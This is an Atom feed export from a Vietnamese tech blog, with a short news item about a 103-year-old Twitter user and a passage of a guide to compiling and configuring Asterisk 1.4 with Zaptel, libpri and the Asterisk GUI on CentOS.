<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7839070010570067615</id><updated>2011-08-16T03:07:07.870-07:00</updated><category term='VBScript'/><category term='Cisco Switch'/><category term='Windows XP'/><category term='installation'/><category term='VLAN'/><category term='IT Manager Job Description'/><category term='Web tools'/><category term='Tin tức CNTT Vietnam'/><category term='hacking'/><category term='voip auditing'/><category term='Mod Security'/><category term='rapidshare'/><category term='Security'/><category term='Remote Desktop'/><category term='Secure Apache'/><category term='SQL injection'/><category term='voip infrastructure security'/><category term='FileFactory.com'/><category term='Administration'/><category term='favourist website'/><category term='goldeneye-password-cracker'/><category term='password-cracker'/><category term='cracking'/><category term='Trunk'/><category term='Cổ Vật Tinh Hoa'/><category term='WMIC'/><category term='Rapidshare.com'/><category term='Hacking E-books'/><category term='SSL'/><category term='secure SSH'/><category term='credit card'/><category term='Quản Trị Doanh Nghiệp'/><category term='Cisco DHCP'/><category term='SSH'/><category term='goldeye'/><category term='Cisco Configuration Command'/><category term='Cisco VTP Domain'/><category term='Iptables'/><category term='Megaupload.com'/><category term='Asterisk'/><category term='Password Cracking'/><category term='cracker'/><category term='goldeneye'/><category term='Network Hacking'/><category term='voip testing'/><category term='Business'/><category term='Hacking Tools'/><category term='WEP'/><category term='Firewall Settings'/><category term='voip infrastructure testing'/><category term='Web Hacking'/><category term='Rapidleech'/><category term='RPC port'/><category term='xtest'/><category term='Active Directory Service Interfaces (ADSI)'/><category term='hacking voip'/><category term='hacking guide'/><category term='Hacking Videos'/><category term='Cisco Router'/><category term='Password'/><category term='BackTrack'/><title type='text'>DAICA</title><subtitle type='html'>Diễn đàn Cổ Vật Tinh Hoa
http://www.covattinhhoa.vn/diendan</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>80</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-5530374711521681982</id><published>2009-05-22T00:18:00.000-07:00</published><updated>2009-05-22T00:19:07.920-07:00</updated><title type='text'>Hơn 100 tuổi vẫn thích blog 'mì ăn liền'</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; "&gt;&lt;p class="Title" style="font-family: 'Times New Roman'; font-size: 14pt; font-weight: bold; margin-top: 0px; "&gt;Hơn 100 tuổi vẫn thích blog 'mì ăn liền'&lt;/p&gt;&lt;p class="Lead" style="font-family: 'Times New Roman'; font-size: 11pt; color: rgb(95, 95, 95); font-weight: bold; "&gt;Nếu ai đó nghĩ rằng mạng xã hội chỉ dành cho tuổi teen thì họ sẽ ngạc nhiên khi biết thành viên già nhất trên Twitter là cụ Ivy Bean 103 tuổi. Cụ chuyển sang dùng dịch vụ tiểu blog này sau khi đã phát chán với Facebook.&lt;br /&gt;&gt;&lt;a href="http://vnexpress.net/GL/Vi-tinh/2008/08/3BA05D3D/" class="Lead" style="font-family: 'Times New Roman'; font-size: 11pt; color: rgb(95, 95, 95); font-weight: bold; "&gt;90 tuổi vẫn tư vấn sex trên mạng xã hội&lt;/a&gt; / &lt;a href="http://vnexpress.net/GL/Vi-tinh/2009/01/3BA0ABA3/" class="Lead" style="font-family: 'Times New Roman'; font-size: 11pt; color: rgb(95, 95, 95); font-weight: bold; "&gt;Tiểu blog sẽ thành cơn sốt trong năm 2009?&lt;/a&gt;&lt;/p&gt;&lt;table cellspacing="0" cellpadding="3" width="1" align="center" border="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img alt="Cụ Ivy Bean bên màn hình với tài khoản Twitter @ivybean104. Ảnh: Telegraph." border="1" width="400" height="250" src="http://vnexpress.net/Files/Subject/3B/A0/F1/18/A37.jpg" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="Image" align="center" style="font-family: Arial; font-size: 8.5pt; color: rgb(0, 0, 0); "&gt;Cụ Ivy Bean bên màn hình tài khoản Twitter @ivybean104. Ảnh: &lt;em&gt;Telegraph&lt;/em&gt;.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Các thông điệp đầu tiên của cụ là "Vừa mới thưởng thức một chén trà", "Món gà hầm thật tuyệt"... "Tôi thích Twitter. Đây là mạng xã hội hoàn hảo. Bố cục mạch lạc và bắt mắt. Tôi yêu thiết kế màu xanh và trắng vì chúng hợp với bất cứ ai, nam hay nữ. Tôi thích tính năng viết tin nhắn tức thì và bạn có thể thông báo cho người khác biết chuyện gì đang diễn ra mà không phải cố sáng tác ra cái gì đó dài và đặc biệt", cụ Bean, hiện sống tại Bradford (Anh), nhận xét&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Cụ chấm điểm Twitter là 5/5 trong khi MySpace chỉ được 4 vì: "Đây không phải website dành cho tôi. Ngay từ phút đầu tôi đã thấy màn hình trông rất náo nhiệt và đầy quảng cáo. Âm nhạc trên đó cũng không hợp với tôi nhưng có thể hiểu vì sao giới trẻ thích mạng xã hội này đến thế".&lt;/p&gt;&lt;p class="Normal" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;Facebook cũng được cụ Bean cho 4 điểm. Cụ có rất nhiều bạn bè trên đó nhưng dịch vụ này hơi rắc rối với nhiều thông tin hiển thị trên màn hình khiến cụ cảm thấy khó nắm bắt.&lt;/p&gt;&lt;p class="Normal" align="right" style="font-family: 'Times New Roman'; font-size: 11.8pt; color: rgb(0, 0, 0); "&gt;&lt;strong&gt;Châu An&lt;/strong&gt; (theo &lt;em&gt;The Sun&lt;/em&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-5530374711521681982?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/5530374711521681982/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=5530374711521681982' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5530374711521681982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5530374711521681982'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2009/05/hon-100-tuoi-van-thich-blog-mi-lien.html' title='Hơn 100 tuổi vẫn thích blog &apos;mì ăn liền&apos;'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-6072218975989354653</id><published>2009-05-21T17:58:00.000-07:00</published><updated>2009-05-21T18:00:16.967-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='installation'/><category scheme='http://www.blogger.com/atom/ns#' term='Asterisk'/><title type='text'>Cài đặt Asterisk</title><content type='html'>&lt;span class="Apple-style-span" style="color: rgb(255, 255, 255); font-family: arial; font-size: 13px; "&gt;&lt;dt class="post-head" style="clear: both; font: normal normal normal 170%/normal georgia, 'times new roman', serif; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-family: arial; font-size: 13px; "&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt class="post-head" style="clear: both; font: normal normal normal 170%/normal georgia, 'times new roman', serif; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="font-family: arial; font-size: 13px; "&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt class="post-head" style="clear: both; font: normal normal normal 170%/normal georgia, 'times new roman', serif; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Cài đặt Asterisk&lt;/span&gt;&lt;/dt&gt;&lt;dd class="post-body last" style="border-top-width: 0px; border-right-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; margin-top: 0px; margin-right: 0px; margin-left: 0px; border-bottom-width: 0px; border-bottom-style: initial; margin-bottom: 0px; border-top-color: rgb(204, 255, 102); border-right-color: rgb(204, 255, 102); border-bottom-color: rgb(204, 255, 102); border-left-color: rgb(204, 255, 102); "&gt;&lt;div class="image-wrapper" style="clear: both; text-align: center; margin-top: 0px; margin-right: 0px; margin-bottom: 15px; margin-left: 0px; "&gt;&lt;/div&gt;&lt;div class="content-wrapper" style="clear: both; font: normal normal normal 100%/normal georgia, 'times new roman', serif; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Hướng dẫn cài đặt ASTERISK &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;1. Preparing for installation &lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Installation of &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk 1.4&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; is slightly different than installing Asterisk 1.2. There are some slight changes in the installation and some packages is needed. &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk GUI&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; is available for&lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk 1.4&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; only and the installation package is avalabe in &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Digium's&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; svn repository. To install &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk GUI&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; you need to download the &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;CVS&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; and the &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;subversion&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; package for CentOs 4.4. &lt;br /&gt;Do the command: &lt;br /&gt;&lt;br /&gt;yum install gcc gcc-c++ kernel kernel-devel bison openssl-devel libtermcap-devel ncurses-devel cvs subversion &lt;br /&gt;or &lt;br /&gt;apt-get install gcc gcc-c++ kernel kernel-devel bison openssl-devel libtermcap-devel ncurses-devel cvs subversion &lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;2. Downloading Asterisk and Zaptel&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;Download the latest &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;asterisk-1.4&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;libpri-1.4&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; and &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;zaptel-1.4&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; source from the &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Digium's&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; download site: &lt;/span&gt;&lt;a target="_blank" href="http://downloads.digium.com/" style="text-decoration: none; "&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;http://downloads.digium.com&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;wget &lt;/span&gt;&lt;a target="_blank" href="http://downloads.digium.com/pub/asterisk/releases/asterisk-1.4.18.tar.gz" style="text-decoration: none; "&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;http://downloads.digium.com/pub/aste...-1.4.18.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;&lt;br /&gt;wget &lt;/span&gt;&lt;a target="_blank" href="http://downloads.digium.com/pub/zaptel/releases/zaptel-1.4.9.1.tar.gz" style="text-decoration: none; "&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;http://downloads.digium.com/pub/zapt...1.4.9.1.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;&lt;br /&gt;wget &lt;/span&gt;&lt;a target="_blank" href="http://downloads.digium.com/pub/libpri/releases/libpri-1.4.3.tar.gz" style="text-decoration: none; "&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;http://downloads.digium.com/pub/libp...i-1.4.3.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;Untar the &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk-1.4&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; and &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;zaptel-1.4&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; source to &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;/usr/src/&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;tar -zxvf zaptel-1.4.9.1.tar.gz -C /usr/src/ &lt;br /&gt;&lt;br /&gt;tar -zxvf libpri-1.4.3.tar.gz -C /usr/src/ &lt;br /&gt;&lt;br /&gt;tar -zxvf asterisk-1.4.18.tar.gz -C /usr/src/ &lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;3. Compiling and Installing&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;After extracting the source, you can start now the installation of &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;zaptel&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; should be install first. &lt;br /&gt;You go to the &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;zaptel-1.4.xx&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; directory in &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;/usr/src/zaptel-1.4.xx&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; and do the command: &lt;br /&gt;./configure&lt;/span&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;You will notice that the ./configure command was not used in installing &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Zaptel 1.2&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; and &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk 1.2&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;. &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Then continue the installation using the following commands. &lt;br /&gt;make &lt;br /&gt;make install &lt;br /&gt;&lt;br /&gt;Libpri installation&lt;/span&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;The libpri libraries do not make use of the autoconf build environment, the installation of lipri 1.4 is same as installing libpri 1.2. &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;cd .. &lt;br /&gt;&lt;br /&gt;cd libpri-1.2.3/ &lt;br /&gt;&lt;br /&gt;make &lt;br /&gt;&lt;br /&gt;make install &lt;br /&gt;&lt;br /&gt;Asterisk 1.4 installation &lt;br /&gt;&lt;br /&gt;cd .. &lt;br /&gt;&lt;br /&gt;cd asterisk-1.4.18/ &lt;br /&gt;&lt;br /&gt;./configure &lt;br /&gt;&lt;br /&gt;make &lt;br /&gt;&lt;br /&gt;make install &lt;br /&gt;&lt;br /&gt;make samples &lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;4. Getting Asterisk GUI&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;Alright, lets download the &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk GUI&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; from &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Digium&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; svn repository, to download the &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk GUI&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;, go to the /usr/src/ directory and type this command: &lt;br /&gt;svn checkout &lt;/span&gt;&lt;a target="_blank" href="http://svn.digium.com/svn/asterisk-gui/trunk" style="text-decoration: none; "&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;http://svn.digium.com/svn/asterisk-gui/trunk&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; asterisk-gui &lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;5. Compiling Asterisk GUI&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;The source of &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk GUI&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; is now downloaded in &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;/usr/src/asterisk-gui/&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;. Lets install &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk GUI&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;. &lt;br /&gt;./configure &lt;br /&gt;&lt;br /&gt;make &lt;br /&gt;&lt;br /&gt;make install &lt;br /&gt;&lt;br /&gt;make samples &lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;6. Configuration&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;There are two files you must configure in order for &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk GUI&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; to run. These files are &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;manager.conf&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; and &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;http.conf&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; located in &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;/etc/asterisk/&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;. Lets start at &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;manager.conf&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;. &lt;br /&gt;[general] &lt;br /&gt;displaysystemname = yes &lt;br /&gt;enabled = no &lt;br /&gt;webenabled = no &lt;br /&gt;This is the default configuration of your &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;manager.conf&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;, to configure you must change the last two lines with &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;= no&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; with &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;= yes&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;. &lt;br /&gt;[general] &lt;br /&gt;displaylastsystemname = yes &lt;br /&gt;enabled = yes &lt;br /&gt;webenabled =yes &lt;br /&gt;The output must be like this. &lt;br /&gt;Next we will add a new user to &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;manager.conf&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;[username] &lt;br /&gt;secret = password &lt;br /&gt;read = system,call,log,verbose,command,agent,user,config &lt;br /&gt;write = system,call,log,verbose,command,agent,user,config &lt;br /&gt;Lets configure the &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;http.conf&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; files, remember that this is the last configuration file we need to edit to be able to run the &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk GUI&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;. Your &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;http.conf&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; should look exactly like this and you're done... &lt;br /&gt;enabled=yes &lt;br /&gt;enablestatic=yes &lt;br /&gt;bindaddr=0.0.0.0 &lt;br /&gt;After that run &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;"make checkconfig"&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; in your asterisk-gui directory. This script will check if your GUI is correctly configured. &lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;7. Loading ztdummy and startup scripts.&lt;/span&gt;&lt;/strong&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; &lt;br /&gt;Lets load the &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;ztdummy&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; module and add &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;ztdummy&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; and &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; to &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;/etc/rc.local&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;. To load &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;ztdummy&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; module, type this command in the console. &lt;br /&gt;modprobe zaptel &lt;br /&gt;modprobe ztdummy &lt;br /&gt;&lt;br /&gt;And to add &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;ztdummy&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; and &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt;Asterisk&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 0);"&gt; in startup scripts, edit the file &lt;/span&gt;&lt;em style="font-style: italic; "&gt;&lt;span class="Apple-style-span" style="color: rgb(0, 0, 